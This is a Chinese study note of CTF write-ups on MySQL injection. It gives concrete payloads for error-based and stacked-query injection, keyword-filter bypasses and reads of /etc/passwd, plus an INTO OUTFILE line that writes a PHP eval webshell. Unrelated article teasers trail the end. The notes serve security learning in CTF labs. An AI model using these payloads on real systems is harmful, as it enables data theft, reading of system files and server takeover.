SQL进阶学习
1.[NISACTF 2022]join-us sql报错注入和联合注入
过滤:
as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()
其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。
database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。
1'||(select * from aa)#或者将||换成or,爆出sqlsql库。-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出output表-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
爆出data列名-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#
由于as也被过滤,无列名注入可以用join 连接
首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了
select*from (select*from output a join output b)c
2.mysql注入文件操作(root权限)
方法一:
mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
构造payload:
0 and updatexml(1,concat('~',(select(database())),'~'),1)%23 0 and updatexml(1,concat('~',(select(user())),'~'),1)%23
爆出root用户0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4# 0 Union select 1,load_file("/etc/passwd")--+
方法二:
写入函数为into outfile()
INTO OUTFILE()函数将自定义字符串写入指定文件中 (前提权限允许写入)
0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"Union select 1,"<?php @eval($_POST[x])?>",1 into outfile '/var/www/html/Less-1/1.php'--+
3.[强网杯 2019]随便注

一般select等被禁用时,可以考虑堆叠注入
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。
查看表
?inject=1' ;show database --+查看列
?inject= 1'; show columns from `words`--+ 或者
?inject= 1'; show columns from words--+
注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,必须使用反引号

如何查看flag字段?
方法一:16进制编码 prepare预处理
因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码
再通过构造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句变量定义预处理:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
或者(2)本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)等价于select'
因此根据题目意思我们可以构建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
- prepare…from…是预处理语句,会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值
方法二:handeler
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
';handler `1919810931114514` open;handler `1919810931114514` read first#
4.过滤了注释符,在sql中常用的注释符号有--、#、/*xxx*/、
可以再嵌套一个select在union select里,绕过注释符过滤
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3为什么要改成-1呢,因为题目设了限制limit 1,只显示单行。输入1的话,前面语句会成功执行返回结果,会挤掉我们想要的结果。
第二种:优先级 and > or 空格利用的是()括号代替的
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1
where (username !='flag' and id = '')or(id=26 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1
相关文章:
SQL进阶学习
1.[NISACTF 2022]join-us sql报错注入和联合注入 过滤: as IF rand() LEFT by updatesubstring handler union floor benchmark COLUMN UPDATE & sys.schema_auto_increment_columns && 11 database case AND right CAST FLOOR left updatexml DATABA…...
邦芒解析:做好职场规划防止跳槽失败
为了防止跳槽进入不适合自己的工作环境,你可以采取以下措施: 1、做好调研:在决定跳槽之前,尽可能了解新公司的情况。这包括公司的文化、工作氛围、发展前景以及团队成员之间的关系等。通过搜索公司网站、阅读员工评价以及与公司内…...
基于springboot实现实习管理系统的设计与实现项目【项目源码+论文说明】计算机毕业设计
基于sprinmgboot实现实习管理系统的设计与实现演示 摘要 随着信息化时代的到来,管理系统都趋向于智能化、系统化,实习管理也不例外,但目前国内仍都使用人工管理,市场规模越来越大,同时信息量也越来越庞大,…...
【华为OD题库-031】比赛的冠亚季军-java
题目 有N(3<N<10000)个运动员,他们的id为0到N-1,他们的实力由一组整数表示。他们之间进行比赛,需要决出冠亚军。比赛的规则是0号和1号比赛,2号和3号比赛,以此类推,每一轮,相邻的运动员进行比赛&#…...
电脑如何禁止截屏
禁止电脑截屏是一项重要的安全措施,可以保护用户隐私和防止恶意软件的使用。以下是几种禁止电脑截屏的方法: 形式一: 一刀切,全部禁止截屏 可以在域之盾软件后,点击桌面管理,然后选择禁止截屏。就能禁止所…...
【Web】NewStarCTF Week1 个人复现
目录 ①泄露的秘密 ②Begin of Upload ③Begin of HTTP ④ErrorFlask ⑤Begin of PHP ⑥R!C!E! ⑦EasyLogin ①泄露的秘密 盲猜/robots.txt,访问得到flag前半部分 第二个没试出来,老老实实拿dirsearch扫吧 访问/www.zip 下载附件,拿到第二部分…...
Android 提示框代码 java语言
在Android中,你可以使用 AlertDialog 类来创建提示框。以下是一个简单的Java代码示例,演示如何创建和显示一个基本的提示框: import android.app.AlertDialog; import android.content.Context; import android.content.DialogInterface; im…...
【c语言】二维数组的对角线对称交换
c语言,假设已经有了一个二维数组,对其进行对角线对称变换,如(0,1)与(1,0)变换,并打印。 示例 #include <stdio.h>void swap(int *a, int *b) {int te…...
Sulfo-CY3 NHS荧光染料的制备和表征
Sulfo-CY3 NHS(源自星戈瑞的花菁染料)荧光染料的制备和表征是确保染料质量和性能的关键步骤。制备Sulfo-CY3 NHS荧光染料: 原材料准备:准备所需的原材料,包括CY3 NHS ester(或等效的前体),用于制备Sulfo-C…...
数字乡村:科技赋能农村产业升级
数字乡村:科技赋能农村产业升级 数字乡村是指通过信息技术和数字化手段,推动农业现代化、农村经济发展和农民增收的一种新模式。近年来,随着互联网技术的飞速发展,数字乡村开始在全国范围内迅速兴起,为乡村经济注入了新…...
K8S部署mongodb-sharded-cluster(7.0.2)副本分片
添加源 helm repo add bitnami https://charts.bitnami.com/bitnami指定版本拉取 helm pull --repo https://charts.bitnami.com/bitnami mongodb-sharded --version 7.0.5安装时选择SCRAM-SHA-1默认是SCRAM-SHA-256 helm install -n prod mymongodb mongodb-sharded --value…...
Dockerfile-CentOS7.9+Python3.11.2
本文为CentOS7.9下安装Python3.11.2环境的Dockerfile # CentOS with Python3.11.2 # Author xxmail.com# build a new image with basic centos FROM centos:centos7.9.2009 # who is the author MAINTAINER xxmail.comRUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/…...
自定义责任链Filter实现
核心接口 Filter package com.xxx.arch.mw.nbp.common.extension;import com.xxx.commons.data.domain.Result;/*** date 2023/08/25*/ public interface Filter {Result invoke(final Invoker invoker, final Invocation invocation); } Invoker package com.xxx.arch.mw.…...
NX二次开发UF_CSYS_create_matrix 函数介绍
文章作者:里海 来源网站:https://blog.csdn.net/WangPaiFeiXingYuan UF_CSYS_create_matrix Defined in: uf_csys.h int UF_CSYS_create_matrix(const double matrix_values [ 9 ] , tag_t * matrix_id ) overview 概述 Creates a 3 x 3 matrix. 创建…...
css引入的三种方式
css引入的三种方式 一、内联样式二、外部样式表三、 内部样式表总结trouble 一、内联样式 内联样式也被称为行内样式。它是将 CSS 样式直接应用于 HTML 元素的 style 属性中的一种方式 <p style"color: blue; font-size: 16px;">这是一个带有内联样式的段落。&…...
含羞草研究所研究含羞草的代码
点击进入 一个简单的Python代码示例,用于模拟含羞草的行为: class Mimosa: def __init__(self): self.leaves_open True def touch_leaf(self): if self.leaves_open: print("Leaf closes due to touch.") self.leaves_open False else: p…...
常见立体几何图形的体积
文章目录 abstract祖暅原理推论 棱锥和圆锥的体积用积分的方法推导棱台和圆台的体积圆台体积公式 球体的体积球体的表面积 abstract 锥体和球体的体积公式主要通过积分的方法推导 这类公式的推导中学一般不要求,只要会应用公式在高等数学中由合适和方便的工具来推导这些公式而…...
vue3 + vue-router + keep-alive缓存页面
1.vue-router中增加mate.keepAlive和deepth属性 {path: /,name: home,component: HomeView,meta: {// 当前页面要不要缓存keepAlive: false,// 当前页面层级deepth: 1,}},{path: /list,name: list,component: ListView,meta: {// 当前页面要不要缓存keepAlive: true,// 当前页…...
unigui同页面内重定向跳转,企业微信内部应用开发获取用户code例子
procedure TMainForm.UniFormCreate(Sender: TObject); varurl: string;code: string; begin //如果没有code值,将进行重定向if UniApplication.Parameters.Values[code] thenbeginurl :https://open.weixin.qq.com/connect/oauth2/authorize?appid你们的企业ID&…...
垃圾数据啊
const arr [] //定义空数组 for (const key in this.fgkSyData) { //循环 this。sgksudata 数据arr.push( //push添加到 arr { [key]:this.fgkSyData[key] } //{} 在对象中 重新 定义key value 转换成对象) } console.log(arr, arr) …...
【2026企业级内存安全红线】:C语言开发者必须立即掌握的7大零容忍编码禁令
更多请点击: https://intelliparadigm.com 第一章:2026企业级内存安全红线的立法逻辑与合规基线 内存安全正从工程实践升维为法律义务。2026年起,欧盟《关键数字基础设施韧性法案》(CDIRA)与我国《关键信息基础设施内…...
RAG重排序技术解析与五大模型评测
1. 检索增强生成(RAG)中的重排序技术解析在构建基于大语言模型的问答系统时,我们常常会遇到这样的困境:检索器返回的文档片段看似相关,但实际对生成答案帮助有限。这种现象的根源在于传统检索器的设计目标——它们被优…...
GPT-5.5震撼登场!编程、知识工作、科研全面超越,AI智能再攀高峰!
OpenAI 正式发布 GPT-5.5,在编程、知识工作和科学研究三大领域全面超越 GPT-5.4。本文详细介绍了 GPT-5.5 的核心能力提升、实际使用案例、安全措施以及定价信息,是了解当前 AI 前沿进展的必读之作。 原文版权归原作者所有,蓝衣剑客只保留翻译…...
AI老照片修复:Stable Diffusion技术实践与伦理考量
1. 老照片修复的艺术与技术挑战老照片承载着历史的记忆,但时间的流逝往往让这些珍贵的影像变得模糊、褪色甚至破损。作为一名长期从事数字影像修复的从业者,我深知传统修复方法需要耗费大量时间精力——在Photoshop中手动修复一张严重破损的照片可能需要…...
模型莫名拦截输出背后真相,看懂风控底层逻辑学会高效破限
前言 很多人在用AI大模型时都遇到过这样的糟心情况,明明只是正常提问,做学术研究,开展专业教学或是分析影视剧情,模型却直接弹出拒绝话术,提示无法满足当前请求,任务被迫中途终止。 在各大AI使用交流社区中…...
zmq源码分析之多 Socket 监听方案
文章目录核心方案:使用 zmq_poller1. 创建 poller2. 添加 socket 到 poller3. 等待事件4. 处理事件完整示例监听多个 SUB socket高级用法1. 动态管理 socket2. 非阻塞模式3. 超时设置最佳实践适用场景总结当需要连接多个 socket 并同时监听消息时, 使用 …...
智慧树自动刷课插件终极指南:5分钟实现视频自动播放完整教程
智慧树自动刷课插件终极指南:5分钟实现视频自动播放完整教程 【免费下载链接】zhihuishu 智慧树刷课插件,自动播放下一集、1.5倍速度、无声 项目地址: https://gitcode.com/gh_mirrors/zh/zhihuishu 还在为智慧树平台的繁琐学习流程而烦恼吗&…...
[具身智能-445]:机器人进化论:当“躯体”遇上“灵魂”,谁才是进化的瓶颈?
机器人本体最重要最复杂的功能是本地的机电运动,视觉和音频传感器的功能相对比较简单和单一的;机器人计算单元的最重要最复杂的功能是对音频、视频中的位置、对象、意图的感知与失败,对目标的规划和过程完成过程的控制,即PDCA。 机…...
找了 3 年的网安资源站!一次性全公开,被删即绝版
黑客网站大全!都在这了!速看被删就没了 我们学习网络安全,很多学习路线都有提到多逛论坛,阅读他人的技术分析帖,学习其挖洞思路和技巧。但是往往对于初学者来说,不知道去哪里寻找技术分析帖,也…...
